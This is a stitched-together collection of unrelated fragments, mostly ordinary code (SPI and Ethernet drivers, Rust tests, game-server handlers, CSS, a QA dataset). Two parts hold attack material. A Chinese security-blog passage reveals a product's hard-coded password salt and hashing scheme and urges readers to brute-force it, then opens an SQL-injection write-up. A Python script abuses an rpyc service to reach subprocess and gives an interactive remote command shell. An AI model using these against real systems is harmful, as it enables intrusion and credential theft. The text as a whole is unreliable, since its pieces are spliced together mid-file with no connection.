ip->regs;

	/* cs pull */
	if (chip->mode & SPI_CS_HIGH)
		ftssp010_cs_set(chip, 1);
	else
		ftssp010_cs_set(chip, 0);

	/* chip enable + fifo clear */
	setbits_le32(&regs->cr[2], CR2_EN | CR2_TXFC | CR2_RXFC);
}

/*
 * Deactivate a SPI chipselect.
 * This function is provided by the board code when using a driver
 * that can't control its chipselects automatically (e.g.
 * common/soft_spi.c). When called, it should deactivate the chip
 * select to the device identified by "slave".
 */
void spi_cs_deactivate(struct spi_slave *slave)
{
	struct ftssp010_spi *chip = to_ftssp010_spi(slave);

	/* wait until chip idle */
	ftssp010_wait(chip);

	/* cs pull */
	if (chip->mode & SPI_CS_HIGH)
		ftssp010_cs_set(chip, 0);
	else
		ftssp010_cs_set(chip, 1);
}

void spi_init(void)
{
	/* nothing to do */
}

struct spi_slave *spi_setup_slave(uint bus, uint cs, uint max_hz, uint mode)
{
	struct ftssp010_spi *chip;

	if (mode & SPI_3WIRE) {
		puts("ftssp010: can't do 3-wire\n");
		return NULL;
	}

	if (mode & SPI_SLAVE) {
		puts("ftssp010: can't do slave mode\n");
		return NULL;
	}

	if (mode & SPI_PREAMBLE) {
		puts("ftssp010: can't skip preamble bytes\n");
		return NULL;
	}

	if (!spi_cs_is_valid(bus, cs)) {
		puts("ftssp010: invalid (bus, cs)\n");
		return NULL;
	}

	chip = spi_alloc_slave(struct ftssp010_spi, bus, cs);
	if (!chip)
		return NULL;

	if (get_spi_chip(bus, chip))
		goto free_out;

	if (chip->revision < 0x11900 && get_spi_gpio(bus, &chip->gpio)) {
		puts("ftssp010: Before revision 1.19.0, its clock & cs are\n"
		"controlled by tx engine which is not synced with rx engine,\n"
		"so the clock & cs might be shutdown before rx engine\n"
		"finishs its jobs.\n"
		"If possible, please add a dedicated gpio for it.\n");
	}

	chip->mode = mode;
	chip->clk = CONFIG_FTSSP010_CLOCK;
	chip->div = 2;
	if (max_hz) {
		while (chip->div < 0xffff) {
			if ((chip->clk / (2 * chip->div)) <= max_hz)
				break;
			chip->div += 1;
		}
	}
	chip->speed = chip->clk / (2 * chip->div);

	return &chip->slave;

free_out:
	free(chip);
	return NULL;
}

void spi_free_slave(struct spi_slave *slave)
{
	free(slave);
}

int spi_claim_bus(struct spi_slave *slave)
{
	struct ftssp010_spi *chip = to_ftssp010_spi(slave);
	struct ftssp010_regs *regs = chip->regs;

	writel(CR1_SDL(8) | CR1_DIV(chip->div), &regs->cr[1]);

	if (chip->revision >= 0x11900) {
		writel(CR0_OPM_MASTER | CR0_FFMT_SPI | CR0_FSPO | CR0_FLASH,
		       &regs->cr[0]);
		writel(CR2_TXFC | CR2_RXFC,
		       &regs->cr[2]);
	} else {
		writel(CR0_OPM_MASTER | CR0_FFMT_SPI | CR0_FSPO,
		       &regs->cr[0]);
		writel(CR2_TXFC | CR2_RXFC | CR2_EN | CR2_TXDOE,
		       &regs->cr[2]);
	}

	if (chip->mode & SPI_LOOP)
		setbits_le32(&regs->cr[0], CR0_LOOP);

	if (chip->mode & SPI_CPOL)
		setbits_le32(&regs->cr[0], CR0_SCLKPO);

	if (chip->mode & SPI_CPHA)
		setbits_le32(&regs->cr[0], CR0_SCLKPH);

	spi_cs_deactivate(slave);

	return 0;
}

void spi_release_bus(struct spi_slave *slave)
{
	struct ftssp010_spi *chip = to_ftssp010_spi(slave);
	struct ftssp010_regs *regs = chip->regs;

	writel(0, &regs->cr[2]);
}

int spi_xfer(struct spi_slave *slave, unsigned int bitlen,
			 const void *dout, void *din, unsigned long flags)
{
	struct ftssp010_spi *chip = to_ftssp010_spi(slave);
	uint32_t len = bitlen >> 3;

	if (flags & SPI_XFER_BEGIN)
		spi_cs_activate(slave);

	if (chip->revision >= 0x11900)
		ftssp010_spi_work_transfer_v2(chip, dout, din, len, flags);
	else
		ftssp010_spi_work_transfer_v1(chip, dout, din, len, flags);

	if (flags & SPI_XFER_END)
		spi_cs_deactivate(slave);

	return 0;
}


/*	$NetBSD: ftok.c,v 1.10 2004/09/15 19:45:17 hubertf Exp $	*/

/*
 * Copyright (c) 1994 SigmaSoft, Th. Lockert <tholo@sigmasoft.com>
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
 * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
 * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
 * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
 * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
 * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

#include <sys/cdefs.h>
#if defined(LIBC_SCCS) && !defined(lint)
__RCSID("$NetBSD: ftok.c,v 1.10 2004/09/15 19:45:17 hubertf Exp $");
#endif /* LIBC_SCCS and not lint */

#include "namespace.h"
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ipc.h>

#include <assert.h>
#include <errno.h>

#ifdef __weak_alias
__weak_alias(ftok,_ftok)
#endif

key_t
ftok(path, id)
	const char *path;
	int id;
{
	struct stat st;

	_DIAGASSERT(path != NULL);

	if (stat(path, &st) < 0)
		return (key_t)-1;

	return (key_t)
	    (id << 24 | (st.st_dev & 0xff) << 16 | (st.st_ino & 0xffff));
}


// Ryzom - MMORPG Framework <http://dev.ryzom.com/projects/ryzom/>
// Copyright (C) 2010  Winch Gate Property Limited
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as
// published by the Free Software Foundation, either version 3 of the
// License, or (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program.  If not, see <http://www.gnu.org/licenses/>.

#ifndef CLIENT_CONFIG_DIALOG_H
#define CLIENT_CONFIG_DIALOG_H

#include "ui_client_config_dialog.h"

/**
 @brief The main dialog of the configuration tool
 @details Sets up and controls the configuration pages, sets up navigation,
          sets up the ok, cancel, apply, etc buttons.
*/
class CClientConfigDialog : public QDialog, public Ui::client_config_dialog
{
	Q_OBJECT

public:
	CClientConfigDialog( QWidget *parent = NULL );
	virtual ~CClientConfigDialog();

protected:
	void closeEvent( QCloseEvent *event );

private slots:
	//////////////////////////// Main dialog buttons /////////////////////
	void onClickOK();
	void onClickApply();
	void onClickDefault();
	void onClickPlay();
	//////////////////////////////////////////////////////////////////////
	void onClickCategory( QTreeWidgetItem *item );
	void onSomethingChanged();

private:
	/**
	 @brief Tells the config pages to save their changes into the config file
	*/
	void saveChanges();

	/**
	 @brief Reloads the pages' contents from the config file.
	*/
	void reloadPages();

	/**
	 @brief Checks if it's OK to quit the application, may query the user
	 @return Returns true if it's OK to quit, returns false otherwise.
	*/
	bool isOKToQuit();
};

#endif // CLIENT_CONFIG_DIALOG_H


ready().await.unwrap().call(request).await.unwrap();
        assert_eq!(EventStatus::Delivered, response.event_status)
    }

    #[tokio::test]
    async fn acknowledgements_enabled_on_server_retry_limit_exceeded() {
        let mock_server = get_hec_mock_server(true, ack_response_always_fail).await;

        let acknowledgements_config = HecClientAcknowledgementsConfig {
            query_interval: NonZeroU8::new(1).unwrap(),
            retry_limit: NonZeroU8::new(1).unwrap(),
            ..Default::default()
        };
        let mut service = get_hec_service(mock_server.uri(), acknowledgements_config);

        let request = get_hec_request();
        let response = service.ready().await.unwrap().call(request).await.unwrap();
        assert_eq!(EventStatus::Rejected, response.event_status)
    }

    #[tokio::test]
    async fn acknowledgements_server_changed_ack_response_format() {
        let ack_response = |_: &Request| {
            ResponseTemplate::new(200)
                .set_body_json(serde_json::json!(r#"{ "new": "a new response body" }"#))
        };
        let mock_server = get_hec_mock_server(true, ack_response).await;

        let acknowledgements_config = HecClientAcknowledgementsConfig {
            query_interval: NonZeroU8::new(1).unwrap(),
            retry_limit: NonZeroU8::new(3).unwrap(),
            ..Default::default()
        };
        let mut service = get_hec_service(mock_server.uri(), acknowledgements_config);

        let request = get_hec_request();
        let response = service.ready().await.unwrap().call(request).await.unwrap();
        assert_eq!(EventStatus::Delivered, response.event_status)
    }

    #[tokio::test]
    async fn acknowledgements_enabled_on_server_ack_endpoint_failing() {
        let ack_response = |_: &Request| ResponseTemplate::new(503);
        let mock_server = get_hec_mock_server(true, ack_response).await;

        let acknowledgements_config = HecClientAcknowledgementsConfig {
            query_interval: NonZeroU8::new(1).unwrap(),
            retry_limit: NonZeroU8::new(3).unwrap(),
            ..Default::default()
        };
        let mut service = get_hec_service(mock_server.uri(), acknowledgements_config);

        let request = get_hec_request();
        let response = service.ready().await.unwrap().call(request).await.unwrap();
        assert_eq!(EventStatus::Errored, response.event_status)
    }

    #[tokio::test]
    async fn acknowledgements_server_changed_event_response_format() {
        let mock_server = get_hec_mock_server(true, ack_response_always_succeed).await;
        // Override the usual event endpoint
        Mock::given(method("POST"))
            .and(path("/services/collector/event"))
            .and(header(
                "Authorization",
                format!("Splunk {}", TOKEN).as_str(),
            ))
            .and(header_exists("X-Splunk-Request-Channel"))
            .respond_with(move |_: &Request| {
                ResponseTemplate::new(200).set_body_json(r#"{ "new": "a new response body" }"#)
            })
            .mount(&mock_server)
            .await;

        let acknowledgements_config = HecClientAcknowledgementsConfig {
            query_interval: NonZeroU8::new(1).unwrap(),
            retry_limit: NonZeroU8::new(1).unwrap(),
            ..Default::default()


, d)?;
        Ok(Share {
            private: res,
            index: resp.index,
        })
    }

    #[allow(non_snake_case)]
    fn blind_aggregate(
        threshold: usize,
        partials: &[Self::BlindPartialResp],
    ) -> Result<Self::BlindResp, Self::Error> {
        let A_vec = partials
            .iter()
            .map(|p| Share {
                private: p.private.0.clone(),
                index: p.index,
            })
            .collect::<Vec<Share<C::Evaluation>>>();
        let B_vec = partials
            .iter()
            .map(|p| Share {
                private: p.private.1.clone(),
                index: p.index,
            })
            .collect::<Vec<Share<C::Evaluation>>>();

        let A = C::aggregate(threshold, &A_vec)?;
        let B = C::aggregate(threshold, &B_vec)?;
        Ok((A, B))
    }
}

#[cfg(test)]
mod tests {
    use crate::api::{PoprfScheme, PrfScheme, Scheme, ThresholdScheme};
    use crate::poprfscheme::{Poly, Share};
    use rand_chacha::ChaCha8Rng;
    use rand_core::SeedableRng;
    use threshold_bls::curve::bls12377::PairingCurve as bls377;
    use threshold_bls::group::Element;

    type G2Scheme = crate::poprf::G2Scheme<bls377>;

    #[test]
    fn eval() {
        let mut rng = ChaCha8Rng::seed_from_u64(2);
        let msg = "Hello World!";
        let tag = "Bob";
        let (private, _) = G2Scheme::keypair(&mut rng);
        let result = G2Scheme::eval(&private, tag.as_bytes(), msg.as_bytes()).unwrap();
        let expected_result = [
            151, 205, 148, 96, 202, 50, 200, 245, 255, 47, 156, 23, 121, 48, 42, 74, 231, 208, 239,
            211, 82, 232, 45, 2, 181, 83, 52, 224, 54, 232, 143, 114,
        ];
        assert_eq!(result, expected_result);
    }

    #[test]
    fn blind_and_unblind() {
        let mut rng = rand::thread_rng();
        let (private, public) = G2Scheme::keypair(&mut rng);
        let msg = "Hello World!";
        let tag = "Bob";
        let (token, blindmsg) = G2Scheme::blind_msg(msg.as_bytes(), &mut rng).unwrap();
        let blind_resp = G2Scheme::blind_eval(&private, tag.as_bytes(), &blindmsg).unwrap();
        let unblind_result =
            G2Scheme::unblind_resp(&public, &token, tag.as_bytes(), &blind_resp).unwrap();
        let result = G2Scheme::eval(&private, tag.as_bytes(), msg.as_bytes()).unwrap();
        assert_eq!(&unblind_result, &result);
    }

    #[test]
    #[should_panic]
    fn blind_and_unblind_wrong_key() {
        let mut rng = rand::thread_rng();
        let (mut private, public) = G2Scheme::keypair(&mut rng);
        let elem = <G2Scheme as Scheme>::Private::rand(&mut rng);
        private.mul(&elem);
        let msg = "Hello World!";
        let tag = "Bob";
        let (token, blindmsg) = G2Scheme::blind_msg(msg.as_bytes(), &mut rng).unwrap();
        let blind_resp = G2Scheme::blind_eval(&private, tag.as_bytes(), &blindmsg).unwrap();
        let _result = G2Scheme::unblind_resp(&public, &token, tag.as_bytes(), &blind_resp).unwrap();
    }

    #[test]
    fn aggregate() {
        let mut rng = rand::thread_rng();


.Unk0)
			bf.WriteUint16(curResult.Unk1)
			bf.WriteUint16(curResult.Unk2)
			bf.WriteUint16(curResult.Unk3)
			data = append(data, bf)
		}
	}
	doAckEarthSucceed(s, pkt.AckHandle, data)
}

func handleMsgMhfPostSeibattle(s *Session, p mhfpacket.MHFPacket) {
	pkt := p.(*mhfpacket.MsgMhfPostSeibattle)
	doAckSimpleSucceed(s, pkt.AckHandle, make([]byte, 4))
}

func handleMsgMhfGetDailyMissionMaster(s *Session, p mhfpacket.MHFPacket) {}

func handleMsgMhfGetDailyMissionPersonal(s *Session, p mhfpacket.MHFPacket) {}

func handleMsgMhfSetDailyMissionPersonal(s *Session, p mhfpacket.MHFPacket) {}

func equipSkinHistSize() int {
	size := 3200
	if _config.ErupeConfig.RealClientMode <= _config.Z2 {
		size = 2560
	}
	if _config.ErupeConfig.RealClientMode <= _config.Z1 {
		size = 1280
	}
	return size
}

func handleMsgMhfGetEquipSkinHist(s *Session, p mhfpacket.MHFPacket) {
	pkt := p.(*mhfpacket.MsgMhfGetEquipSkinHist)
	size := equipSkinHistSize()
	var data []byte
	err := s.server.db.QueryRow("SELECT COALESCE(skin_hist::bytea, $2::bytea) FROM characters WHERE id = $1", s.charID, make([]byte, size)).Scan(&data)
	if err != nil {
		s.logger.Error("Failed to load skin_hist", zap.Error(err))
		data = make([]byte, size)
	}
	doAckBufSucceed(s, pkt.AckHandle, data)
}

func handleMsgMhfUpdateEquipSkinHist(s *Session, p mhfpacket.MHFPacket) {
	pkt := p.(*mhfpacket.MsgMhfUpdateEquipSkinHist)
	size := equipSkinHistSize()
	var data []byte
	err := s.server.db.QueryRow("SELECT COALESCE(skin_hist, $2) FROM characters WHERE id = $1", s.charID, make([]byte, size)).Scan(&data)
	if err != nil {
		s.logger.Error("Failed to get skin_hist", zap.Error(err))
		doAckSimpleSucceed(s, pkt.AckHandle, make([]byte, 4))
		return
	}

	bit := int(pkt.ArmourID) - 10000
	startByte := (size / 5) * int(pkt.MogType)
	// psql set_bit could also work but I couldn't get it working
	byteInd := bit / 8
	bitInByte := bit % 8
	data[startByte+byteInd] |= bits.Reverse8(1 << uint(bitInByte))
	dumpSaveData(s, data, "skinhist")
	s.server.db.Exec("UPDATE characters SET skin_hist=$1 WHERE id=$2", data, s.charID)
	doAckSimpleSucceed(s, pkt.AckHandle, make([]byte, 4))
}

func handleMsgMhfGetUdShopCoin(s *Session, p mhfpacket.MHFPacket) {
	pkt := p.(*mhfpacket.MsgMhfGetUdShopCoin)
	bf := byteframe.NewByteFrame()
	bf.WriteUint32(0)
	doAckSimpleSucceed(s, pkt.AckHandle, bf.Data())
}

func handleMsgMhfUseUdShopCoin(s *Session, p mhfpacket.MHFPacket) {}

func handleMsgMhfGetEnhancedMinidata(s *Session, p mhfpacket.MHFPacket) {
	pkt := p.(*mhfpacket.MsgMhfGetEnhance


to ARC EMAC private data structure.
 * @reg:	Register offset from base address.
 * @value:	Value to set in register.
 */
static inline void arc_reg_set(struct arc_emac_priv *priv, int reg, int value)
{
	iowrite32(value, priv->regs + reg * sizeof(int));
}

/**
 * arc_reg_get - Gets value of specified EMAC register.
 * @priv:	Pointer to ARC EMAC private data structure.
 * @reg:	Register offset from base address.
 *
 * returns:	Value of requested register.
 */
static inline unsigned int arc_reg_get(struct arc_emac_priv *priv, int reg)
{
	return ioread32(priv->regs + reg * sizeof(int));
}

/**
 * arc_reg_or - Applies mask to specified EMAC register - ("reg" | "mask").
 * @priv:	Pointer to ARC EMAC private data structure.
 * @reg:	Register offset from base address.
 * @mask:	Mask to apply to specified register.
 *
 * This function reads initial register value, then applies provided mask
 * to it and then writes register back.
 */
static inline void arc_reg_or(struct arc_emac_priv *priv, int reg, int mask)
{
	unsigned int value = arc_reg_get(priv, reg);

	arc_reg_set(priv, reg, value | mask);
}

/**
 * arc_reg_clr - Applies mask to specified EMAC register - ("reg" & ~"mask").
 * @priv:	Pointer to ARC EMAC private data structure.
 * @reg:	Register offset from base address.
 * @mask:	Mask to apply to specified register.
 *
 * This function reads initial register value, then applies provided mask
 * to it and then writes register back.
 */
static inline void arc_reg_clr(struct arc_emac_priv *priv, int reg, int mask)
{
	unsigned int value = arc_reg_get(priv, reg);

	arc_reg_set(priv, reg, value & ~mask);
}

int arc_mdio_probe(struct arc_emac_priv *priv);
int arc_mdio_remove(struct arc_emac_priv *priv);
int arc_emac_probe(struct net_device *ndev, int interface);
int arc_emac_remove(struct net_device *ndev);

#endif /* ARC_EMAC_H */


input:visible[type='url'],select:visible,textarea:visible";
      this.queryString = "input[type = 'text']:not([hidden])," +
                         "input[type = 'number']:not([hidden])," +
                         "input[type = 'checkbox']:not([hidden])," +
                         "input[type = 'radio']:not([hidden])," +
                         "input[type = 'date']:not([hidden])," +
                         "input[type = 'color']:not([hidden])," +
                         "input[type = 'range']:not([hidden])," +
                         "input[type = 'month']:not([hidden])," +
                         "input[type = 'week']:not([hidden])," +
                         "input[type = 'time']:not([hidden])," +
                         "input[type = 'datetime']:not([hidden])," +
                         "input[type = 'datetime-local']:not([hidden])," +
                         "input[type = 'email']:not([hidden])," +
                         "input[type = 'search']:not([hidden])," +
                         "input[type = 'tel']:not([hidden])," +
                         "input[type = 'url']:not([hidden])," +
                         "input[type = 'search']:not([hidden])," +
                         "select," +
                         "textarea:not([hidden])";
      this.formData = [];
      chrome.runtime.onMessage.addListener(this.onMessage);
    }

    private onMessage = (request: IMessage, sender: chrome.runtime.MessageSender, sendResponse: (response: IMessage) => {}) => {
      if (request.type === Types.MessageType.READ) {
        this.formData = [];
        let fd = document.querySelectorAll(this.queryString);
        [].forEach.call(fd, (input: HTMLInputElement) => {
          this.handleInputTypes(input);
        });
        if (this.formData.length > 0) {
          sendResponse({ type: Types.MessageType.READ, success: true, formData: this.formData });
        } else {
          sendResponse({ type: Types.MessageType.READ, success: false });
        }
      }
    }

    private handleInputTypes = (input: HTMLInputElement) => {
      if (input.type === 'checkbox' || input.type === 'radio') {
        if (input.checked) {
          input.setAttribute('checked', 'checked');
          this.formData.push(input.outerHTML);
        }
      } else if (input.localName === 'input' || input.localName === 'select' || input.localName === 'textarea') {
        if (input.value !== '') {
          input.setAttribute('value', input.value);
          this.formData.push(input.outerHTML);
        }
      }
    }
  }
}
(() => {
  new formbotApp.Content();
})();import axios, { AxiosPromise } from 'axios'
enum Level {
    province = 'province',
    city = 'city',
    district = 'district'
}

/**
 * 区
 */
interface IDistrict {
    citycode: string // "0754"
    adcode: string // "440513",
    name: string// "潮阳区",
    center: string,
    level: Level,
    districts: any[]
}

interface ICity {
    citycode: string // "0754"
    adcode: string // "440500",
    name: string// "潮阳区",
    center: string,
    level: Level,
    districts: IDistrict[]
}

interface IProvince {
    citycode: string // "0754"
    adcode: string // "440500",
    name: string// "潮阳区",
    center: string,
    level: Level,
    districts: ICity[]
}

interface IAreas {
    status: string
    info: string
    infocode:


/mmbiz_png/7B71peL7FQRY0srnG8aC4xbibhnJtwbtUpVRdP6icKOPL5VOw9UnUCM7kD22oEu5W3nuFOOD6EossWD8sujaB8UA/640?wx_fmt=png&from=appmsg "")

image-20230630164102875

下图为缓存的数据库名

![](https://mmbiz.qpic.cn/mmbiz_png/7B71peL7FQRY0srnG8aC4xbibhnJtwbtUFTNMIuiahiayYzFRD25B8pvbvyCDV3HkuLMP4ic4GJa1UDwrL36xD8l9w/640?wx_fmt=png&from=appmsg "")

image-20230630164711209

至于密码是多少，大家自行写脚本进行枚举破解吧，加密方式为sha1加密输入的密码，再将sha1得到的值后面拼接 j."TM7r;Y9/cQlV]Lt|xeGdsqUFK6`pBHZ}85+>3 ，最后再将拼接的值进行md5加密。

下方提供一个php加密的方式：（ adminadmin123 为密码）
```
<?php echo(md5(sha1("adminadmin123") . 'j."TM7r;Y9/cQlV]Lt|xeGdsqUFK6`pBHZ}85+>3'));?>

```

#  【相关分享】记一次SQL注入漏洞
原创 隼目安全  隼目安全   2025-01-17 00:03

## 免责声明
> ❝
> 由于传播、利用本公众号"隼目安全"所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号"隼目安全"及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉谢谢！

本文中所涉及的相关漏洞已经向相关单位与平台进行报告，本文中图片、内容等均已脱敏！！！

首先进入主页

![](https://mmbiz.qpic.cn/mmbiz_png/9HKdHo8BvC1Oz71n0YZF200RDJUUTMfKPx5n7iaDbJicBncbE3VGZLVOheDdGWtKMZwapTw97BQlCHxfmsZWFGmw/640?wx_fmt=png&from=appmsg "")

随便点进去一个并找到这个数据包进行访问

![](https://mmbiz.qpic.cn/mmbiz_png/9HKdHo8BvC1Oz71n0YZF200RDJUUTMfKoxuUVmoIzy9ic74l6d1XibXkQbfxeVYv2wq4QZiaqhMlO1HPRfQQldbCg/640?wx_fmt=png&from=appmsg "")

访问后再cat_id这里添加一个单引号显示报错

![](https://mmbiz.qpic.cn/mmbiz_png/9HKdHo8BvC1Oz71n0YZF200


#!/usr/bin/env python3

import rpyc

c = rpyc.connect("127.0.0.1", port=1337)

# Get a NetRef to the service
c.root

def call_method(object, method, arg):
    # The remote will handle this with
    # `getattr(type(object), method)(object, arg)`
    return c.sync_request(rpyc.core.consts.HANDLE_CMP, object, arg, method)

def _getattr(object, name):
    # Call the internal __getattribute__
    return call_method(object, '__getattribute__', name)

def _getitem(object, name):
    # Call the internal __getitem__
    return call_method(object, '__getitem__', name)

# Retrieve service's class
the_class = _getattr(c._remote_root, "__class__")
# Retrieve a reference to a function in the class
a_func = _getattr(the_class, "get_service_aliases")
# Get the function's 'globals'; i.e. the Python globals
globals = _getattr(a_func, "__globals__")
# Retrieve a reference to the builtins module
builtins = _getitem(globals, "__builtins__")
# Retrieve a reference to the import function
imp = _getitem(builtins, "__import__")
# Import the os module and get a reference to it
sp = imp('subprocess')
# Get a reference to getoutput
system = _getattr(sp, "getoutput")
while True:
    print(system(input("> ")))


를 수 있게 해주는
// skip 메서드도 제공합니다.
// 다음 코드는 검색된 결과 중에서 100번째 부터 다섯개의 건수만 선택하는 예 입니다.
// let cursor = await usersCollection.find({}).sort({birthday:-1, name:1}).skip(100),limit(5)

const findLimitSkip = async(numberOfSkip:number, numberOfLimit:number) => {
	let connection, cursor
	try {
		connection = await connect()
		const db = await connection.db('ch12')
		const usersCollection = db.collection('users')

		let cursor = await usersCollection.find({}).sort({birthday:-1, name:1}).skip(numberOfSkip).limit(numberOfLimit)
		let result = await cursor.toArray()
		console.log(result.map((user: IFake) => (
			{name: user.name, birthday: user.birthday}
		)))
	} catch (e) {
		console.log(e.message)
	} finally {
		connection.close()
	}
}

findLimitSkip(100, 2)type ActionType = string;

interface GetNumber {
  payload: number;
  type: ActionType;
}

export const SET_POINTS: ActionType = 'SET_POINTS';
export const SET_CHARACTER_POSITION: ActionType = 'SET_CHARACTER_POSITION';

export const setPoints = (payload: number): GetNumber => ({ payload, type: SET_POINTS });
export const setCharacterPosition = (payload: number): GetNumber => ({
  payload,
  type: SET_CHARACTER_POSITION,
});
/**
 * List of Roles
 */
export enum Role {
	Baseline = 0,
	Employee = 1,
	Admin = 2,
}

/**
 * Application level permission, e.g. each permission is linked to a button on the UI
 */
export const Static = {
	ViewNote: 'ViewNote',
	CreateNote: 'CreateNote',
	CreateTask: 'CreateTask',
	SearcNote: 'SearchNote',
	DeleteNote: 'DeleteNote',
	ExportNote: 'ExportNote',
};

/**
 * Row level permission
 */
export const Dynamic = {
	ReadOwnNote: {
		ReadOwnNote: ({ userId, ownerId }: CheckData) => {
			if (!userId || !ownerId) return false;
			return userId.toString() === ownerId.toString();
		},
	},

	ReadAllNote: {
		ReadOwnNote: ({ isAdmin }: CheckData) => {
			// Admin can read all notes
			if (isAdmin === true) return true;
		},
	},

	UpdateNote: {
		UpdateNote: ({ userId, ownerId, isAdmin }: CheckData) => {
			if (!userId || !ownerId) return false;

			// Update Own note
			if (userId.toString() === ownerId.toString()) return true;

			// Admin can update
			if (isAdmin === true) return true;

			return false;
		},
	},
	DeleteNote: {
		DeleteNote: ({ userId, ownerId, isAdmin }: CheckData) => {
			if (!userId || !ownerId) return false;

			// Only Admin can delete
			if (isAdmin === true) return true;

			return false;
		},
	},

	// ...add dynami permission
};

/**
 * Define


 1946>, <Branko Marjanovi\u0107; date of birth; 12 May 1909>",
    },
    {
        "question": "Did Yanic Gentry and Sverre Farstad share the same nationality?",
        "chains": "<Sverre Farstad; nationality; Norwegian>, <Yanic Gentry; nationality; Mexican>",
    },
    {
        "question": "Are both villages, Kusejabad and Shaneh Tarash, located in the same country?",
        "chains": "<Shaneh Tarash; location; Shahidabad Rural District, Bandpey-ye Gharbi District, Babol County, Mazandaran Province, Iran>, <Kusejabad; location; Khararud Rural District, in the Central District of Khodabandeh County, Zanjan Province, Iran>",
    },
    {
        "question": "Where was the director of film 4.3.2.1. born?",
        "chains": "<4.3.2.1.; director; Noel Clarke and Mark Davis>, <Noel Clarke; place of origin; London>",
    },
    {
        "question": "Where did the performer of song I Know Why (And So Do You) die?",
        "chains": "<I Know Why (And So Do You); song by; Glenn Miller and His Orchestra>, <Glenn Miller; disappearance location; over the English Channel>",
    },
    {
        "question": "Which country the director of film Why? (Film) is from?",
        "chains": "<Why?; director; Karel Smyczek>, <Karel Smyczek; nationality; Czech>",
    },
    {
        "question": "Who is Eleonora, Princess Of Ligne's maternal grandfather?",
        "chains": "<Eleonora, Princess of Ligne; mother; Princess Maria Elisabeth of Bavaria>, <Princess Maria Elisabeth of Bavaria; parent; Prince Franz of Bavaria>",
    },
    {
        "question": "Where was the performer of song Where Do You Come From born?",
        "chains": "<Where Do You Come From; song; first recorded by Elvis Presley>, <Elvis Presley; place of birth; Tupelo, Mississippi>",
    },
    {
        "question": "What is the date of death of Odo Of Wetterau's father?",
        "chains": "<Herbert of Wetterau; father; Odo of Wetterau>, <Herbert of Wetterau; year of death; 992>",
    },
    {
        "question": "Are the directors of films Dark Side Romance and Stand Clear of the Closing Doors both from the same country?",
        "chains": "<Dark Side Romance; director; Prachya Pinkaew>, <Stand Clear of the Closing Doors; director; Sam Fleischner>, <Prachya Pinkaew; nationality; Thai>, <Sam Fleischner; nationality; American>",
    },
    {
        "question": "Are both villages, Bizdan and Bodella, located in the same country?",
        "chains": "<Bodella; location; mid Cornwall, England, United Kingdom>, <Bizdan; locati


slick-dots li.slick-active button::before {
  opacity: 1;
  -webkit-transform: scale(1);
  transform: scale(1);
}

.tailor-ui .slick-dots li:hover button {
  border: 1px solid rgba(0, 0, 0, 0.2);
}

.tailor-ui .mfp-bg {
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  z-index: 1042;
  overflow: hidden;
  position: fixed;
  background: #0b0b0b;
  opacity: 0.8;
  filter: alpha(opacity=80);
}

.tailor-ui .mfp-wrap {
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  z-index: 1043;
  position: fixed;
  outline: none !important;
  -webkit-backface-visibility: hidden;
}

.tailor-ui .mfp-container {
  text-align: center;
  position: absolute;
  width: 100%;
  height: 100%;
  left: 0;
  top: 0;
  padding: 0 8px;
  -webkit-box-sizing: border-box;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
}

.tailor-ui .mfp-container::before {
  content: '';
  display: inline-block;
  height: 100%;
  vertical-align: middle;
}

.tailor-ui .mfp-align-top .mfp-container::before {
  display: none;
}

.tailor-ui .mfp-content {
  position: relative;
  display: inline-block;
  vertical-align: middle;
  margin: 0 auto;
  text-align: left;
  z-index: 1045;
}

.tailor-ui .mfp-inline-holder .mfp-content,
.tailor-ui .mfp-ajax-holder .mfp-content {
  width: 100%;
  cursor: auto;
}

.tailor-ui .mfp-ajax-cur {
  cursor: progress;
}

.tailor-ui .mfp-zoom-out-cur, .tailor-ui .mfp-zoom-out-cur .mfp-image-holder .mfp-close {
  cursor: -moz-zoom-out;
  cursor: -webkit-zoom-out;
  cursor: zoom-out;
}

.tailor-ui .mfp-zoom {
  cursor: pointer;
  cursor: -webkit-zoom-in;
  cursor: -moz-zoom-in;
  cursor: zoom-in;
}

.tailor-ui .mfp-auto-cursor .mfp-content {
  cursor: auto;
}

.tailor-ui .mfp-close,
.tailor-ui .mfp-arrow,
.tailor-ui .mfp-preloader,
.tailor-ui .mfp-counter {
  -webkit-user-select: none;
  -moz-user-select: none;
  user-select: none;
}

.tailor-ui .mfp-loading.mfp-figure {
  display: none;
}

.tailor-ui .mfp-hide {
  display: none;
}

.tailor-ui .mfp-preloader {
  color: #CCC;
  position: absolute;
  top: 50%;
  width: auto;
  text-align: center;
  margin-top: -0.8em;
  left: 8px;
